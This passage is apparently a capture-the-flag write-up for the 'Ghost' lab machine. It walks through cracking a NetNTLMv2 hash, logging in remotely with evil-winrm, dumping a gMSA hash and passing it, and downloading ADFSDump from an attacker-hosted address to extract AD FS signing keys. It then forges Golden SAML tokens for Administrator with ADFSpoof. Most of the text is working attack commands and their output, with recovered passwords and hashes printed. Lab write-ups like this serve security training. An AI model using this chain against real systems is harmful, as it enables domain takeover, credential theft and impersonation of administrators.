5600 | NetNTLMv2 | Network Protocol
...
➜ .\hashcat.exe -m 5600 -a 0 .\hashes .\rockyou.txt
...
JUSTIN.BRADLEY::ghost:c2c302882d0cad7a:d8ab45f19fb6faf3755eeb4cd82cab43:010100000..............:Qwertyuiop1234$$

evil-winrm (justin.bradley)

Creds: justin.bradley:Qwertyuiop1234$$

└─$ evil-winrm -u justin.bradley -p 'Qwertyuiop1234$$' -i 10.10.11.24

*Evil-WinRM* PS C:\Users\justin.bradley> whoami /all
User Name            SID
==================== =============================================
ghost\justin.bradley S-1-5-21-4084500788-938703357-3654145966-3607

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
GHOST\IT                                    Group            S-1-5-21-4084500788-938703357-3654145966-3605 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

User.txt

*Evil-WinRM* PS C:\Users\justin.bradley> tree /f /a
Folder PATH listing
Volume serial number is 2804-C13F
C:.
+---Desktop
|       user.txt
|
+---Documents
|   \---WindowsPowerShell
|           Microsoft.PowerShell_profile.ps1
|
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
\---Videos
*Evil-WinRM* PS C:\Users\justin.bradley> cat Desktop/user.txt
a89f8322915b3016def844b12b934ad4

Privilege Escalation (adfs_gmsa$)

Defender is active 💀

*Evil-WinRM* PS C:\Users\justin.bradley\AppData\Local\Temp> .\sh.exe -c all --zipfilename sh.zip
Program 'sh.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt line:1 char:1
+ .\sh.exe -c all --zipfilename sh.zip
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ .\sh.exe -c all --zipfilename sh.zip
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceUnavailable: (:) [], ApplicationFailedException
    + FullyQualifiedErrorId : NativeCommandFailed

Note: sh.exe is SharpHound.exe

Luckily we can use python version and get "loot" remotely.

└─$ bloodhound-python -u 'justin.bradley' -p 'Qwertyuiop1234$$' -d ghost.htb -ns 10.10.11.24 -dc DC01.ghost.htb -c all --zip

INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.ghost.htb
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: DC01.ghost.htb
INFO: Found 16 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 20 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: linux-dev-ws01.ghost.htb
INFO: Querying computer: DC01.ghost.htb
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
INFO: Done in 00M 17S
INFO: Compressing output into 20240812112308_bloodhound.zip

Note: Make sure to use CE branch version collector, master branch doesn't work with Community Edition Bloodhound.

Writeup-13.png

HackerRecipies > ReadGMSAPasswordNetexec > Dump gMSA

└─$ netexec ldap 10.10.11.24 -u 'justin.bradley' -p 'Qwertyuiop1234$$' --gmsa
SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.24     636    DC01             [+] ghost.htb\justin.bradley:Qwertyuiop1234$$
LDAPS       10.10.11.24     636    DC01             [*] Getting GMSA Passwords
LDAPS       10.10.11.24     636    DC01             Account: adfs_gmsa$           NTLM: b54e13804a5c2e7e36ce0e8c8fa9c84d
└─$ evil-winrm -u 'adfs_gmsa$' -H 'b54e13804a5c2e7e36ce0e8c8fa9c84d' -i 10.10.11.24
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> whoami /all

User Name        SID
================ =============================================
ghost\adfs_gmsa$ S-1-5-21-4084500788-938703357-3654145966-4101

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
GHOST\Domain Computers                      Group            S-1-5-21-4084500788-938703357-3654145966-515 Mandatory group, Enabled by default, Enabled group
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Privilege Escalation (mssqlserver)

└─$ bloodhound-python -u 'adfs_gmsa$' --hashes ':b54e13804a5c2e7e36ce0e8c8fa9c84d' -d ghost.htb -ns 10.10.11.24 -dc DC01.ghost.htb -c all --zip --outputprefix adfs_gmsa
INFO: Found AD domain: ghost.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.ghost.htb
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: DC01.ghost.htb
INFO: Found 16 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 23 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: linux-dev-ws01.ghost.htb
INFO: Querying computer: DC01.ghost.htb
WARNING: Could not resolve: linux-dev-ws01.ghost.htb: The DNS query name does not exist: linux-dev-ws01.ghost.htb.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 00M 16S
INFO: Compressing output into 20240812134127_bloodhound.zip

Welp... that was useless.

Writeup-14.png

HTTPs (8443)

I decided to take a step back for now. When we go to core.ghost.htb we are asked to login into AD Federation

Writeup-15.png
Writeup-16.png

For now I just logged in as justin:

Creds: GHOST\justin.bradley:Qwertyuiop1234$$

Writeup-17.png

How SAML Authentication Works

SAML is a protocol for Single Sign-On (SSO). It lets users log in once and then access multiple services without needing to log in again. SAML passes authentication information between an Identity Provider (IdP) and a Service Provider (SP), so your credentials are verified by the IdP and the service just checks the token. It’s a way to securely manage user authentication across different platforms.

https://federation.ghost.htb/adfs/ls/?

SAMLRequest=nVNNj5swEP0ryPfwFRIWK2SVkkMjbVuU0B72sjJm2CAZm3qG3fTfV5Cwm0ObQ65+M2/evHlePZ5a5byBxcbolAWuzx7XKxSt6vimp6Pew+8ekJxTqzTyEUhZbzU3AhvkWrSAnCQ/bL498dD1eWcNGWkUc3bblL0slqGfJIsgTpKwjus4KYOgLKOqlH4VLZZyCYsgjuOQOb8mEaHrM2eH2MNOIwlNKQv9MJr5D7MgLIKE+xGfz90k8J+Zk1/GfWl01ejX29rKcxHyr0WRz/Ifh4I5W0BqtKBx9JGoQ+55NVRgxzf39WiQ3COVnqhq9BR6zNkggh3QzGjsW7AHsG+NhJ/7p08OaSx8dvOHKJqfKQYTvc4g7QE7oxHY2XE+7myvrL69jZhUsPWNmSvvins67XfRwm6bG9XIP/ecdqOUec8sCIKUke2BeRP1JTBQjfHJjCY43RWfzLSdsA0Od4GTkDTZdE2cKYG4h/oe026WSS4HakCeC8R3Y6shaSAJqsIKjZ2xdLH2X3rWZ+w/dnyg119s/Rc

SigAlg=http://www.w3.org/2001/04/xmldsig-more#rsa-sha256

Signature=Q5BViIhgDcO6hG1OqB1bqgf7qHBOyjYdfC2uuc/MLfKprlwzomIfLo02jGJwgApND6x5h4GA3XBPcYb1NxKGPJ5sKRm9pWTvZBkG+suznAD4Xc2ufkAiEoIZUKtyguR2+PPff/Zw74WL1v0dih6fV79DzbB3IqbpcFiztl7PliCM9ltTzF5UCuVCibt1Ttaf9lt6LG7bXfjAr19EY7bMTNrWF9zL/adHpthH4BqL1cmJddSSAqdBHdBx2aLysRZEVivVbxoX//k/KINx8Ba6NgvKxeRGidDd6Eq+CSLMgCpOBL2mw7uYAVeUbL18/SLNCR5UMUPHn3d9JoWWVimqog==

SAML Basics

_The SAMLRequest parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.

Decode request Onelogin > Base64 Decode + Inflate

<?xml version="1.0"?>
<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
    ID="_562099517992f7f79b11bb4dbc0d456c6e517772" Version="2.0"
    IssueInstant="2024-08-12T19:04:33.910Z"
    ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
    Destination="https://federation.ghost.htb/adfs/ls/"
    AssertionConsumerServiceURL="https://core.ghost.htb:8443/adfs/saml/postResponse">
    <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://core.ghost.htb:8443</saml:Issuer>
    <samlp:NameIDPolicy xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" AllowCreate="true" />
    <samlp:RequestedAuthnContext xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
        Comparison="exact">
        <saml:AuthnContextClassRef xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
            urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
    </samlp:RequestedAuthnContext>
</samlp:AuthnRequest>

Golden SAML Attack

While searching around for SAML and ADFS I came to blog: Exploring the Golden SAML Attack Against ADFS

Attack Tutorial: How the Golden SAML Attack Works

The blog demonstrates authentication into Office365, but we need SAML

Writeup-18.png

GitHub also includes an example: Generate a SAML 2.0 token for some app:

python ADFSpoof.py \
	-b EncryptedPfx.bin DkmKey.bin \
	-s sts.doughcorp.com saml2 \
	--endpoint https://my.app.com/access/saml \
	--nameidformat urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress \
	--nameid robin@doughcorp.com \
	--rpidentifier myapp \
	--assertions <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><AttributeValue>robin@doughcorp.com</AttributeValue></Attribute>

Note: Later I found useful repo: InternalAllTheThings > Active Directory - Federation Services

Data needed:

  • DKM Key: dkm.key

  • TKS Key: tks.key

  • Domain: core.ghost.htb

  • endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse

  • nameidformat: urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress

  • nameid: Administrator@ghost.htb

  • rpidentifier: https://core.ghost.htb:8443

  • assertions: <Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute>

Get Keys:

*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> iwr 10.10.14.197/ADFSDump.exe -outfile ADFSDump.exe
*Evil-WinRM* PS C:\Users\adfs_gmsa$\Documents> .\ADFSDump.exe
    ___    ____  ___________ ____
   /   |  / __ \/ ____/ ___// __ \__  ______ ___  ____
  / /| | / / / / /_   \__ \/ / / / / / / __ `__ \/ __ \
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / / / / / / /_/ /
/_/  |_/_____/_/    /____/_____/\__,_/_/ /_/ /_/ .___/
                                              /_/
Created by @doughsec


### Extracting Private Key from Active Directory Store
[-] Domain is ghost.htb
[-] Private Key: FA-DB-3A-06-DD-CD-40-57-DD-41-7D-81-07-A0-F4-B3-14-FA-2B-6B-70-BB-BB-F5-28-A7-21-29-61-CB-21-C7
[-] Private Key: 8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1

### Reading Encrypted Signing Key from Database
[-] Encrypted Token Signing Key Begin
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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

### Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
### Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
  <RequireFreshAuthentication>false</RequireFreshAuthentication>
  <IssuanceAuthorizationRules>
    <Rule>
      <Conditions>
        <Condition i:type="AlwaysCondition">
          <Operator>IsPresent</Operator>
        </Condition>
      </Conditions>
    </Rule>
  </IssuanceAuthorizationRules>
</PolicyMetadata>


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Get dkm.key from Private Key: (I took second as first)

└─$ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > dkm.key

Get tks.key from Encrypted Token Signing Key:

└─$ cat tks.key.base64 | base64 -d > tks.key

Get endpoint for SAML:

Now after gathering the requirements we are ready to spoof the account and login.

└─$ git clone https://github.com/mandiant/ADFSpoof.git
└─$ cd ADFSpoof
└─$ py -m venv venv
└─$ source ./venv/bin/activate
└─$ pip install -r requirements.txt
└─$ python ADFSpoof.py \
    -b ../www/tks.key ../www/dkm.key \
	-s 'core.ghost.htb' saml2 \
	--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
	--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
	--nameid 'Administrator@ghost.htb' \
	--rpidentifier 'https://core.ghost.htb:8443' \
	--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute>'
    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/
/_/  |_/_____/_/    /____/ .___/\____/\____/_/
                        /_/

A tool to for AD FS security tokens
Created by @doughsec

PHNhbW.............tbHA6UmVzcG9uc2U%2B

Using the given "Response" was not working as it Internal Server Error

### Reading Issuance Authorization Rules

More coming soon! As a tl;dr for SAML 2.0 each issuance rule (with the exception of the nameid rule) is going to be translated into a SAML assertion. SAML assertions are tags. The Attribute tag must have an attribute called "Name" that value of which is the claim type. The claim value goes inside the tags.

There is a little more nuance which I hope to discuss in a wiki page soon, but that is the basic idea. Relying Parties may have "StrongAuth" rules and MFA requirements, but usually we don't care about those.

Source: https://github.com/mandiant/ADFSpoof?tab=readme-ov-file#reading-issuance-authorization-rules

Going back to the ADFSDump.exe we also got some rules, which indicates that we need upn and CommonName assertions in the spoof command:

    Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
 => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);

Microsoft > The Role of Claims

Name
Description
URI

UPN

The user principal name (UPN) of the user

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn

Common Name

The common name of the user

http://schemas.xmlsoap.org/claims/CommonName

└─$ python ADFSpoof.py \
    -b ../www/tks.key ../www/dkm.key \
	-s 'core.ghost.htb' saml2 \
	--endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' \
	--nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' \
	--nameid 'Administrator@ghost.htb' \
	--rpidentifier 'https://core.ghost.htb:8443' \
	--assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'

A tool to for AD FS security tokens
Created by @doughsec

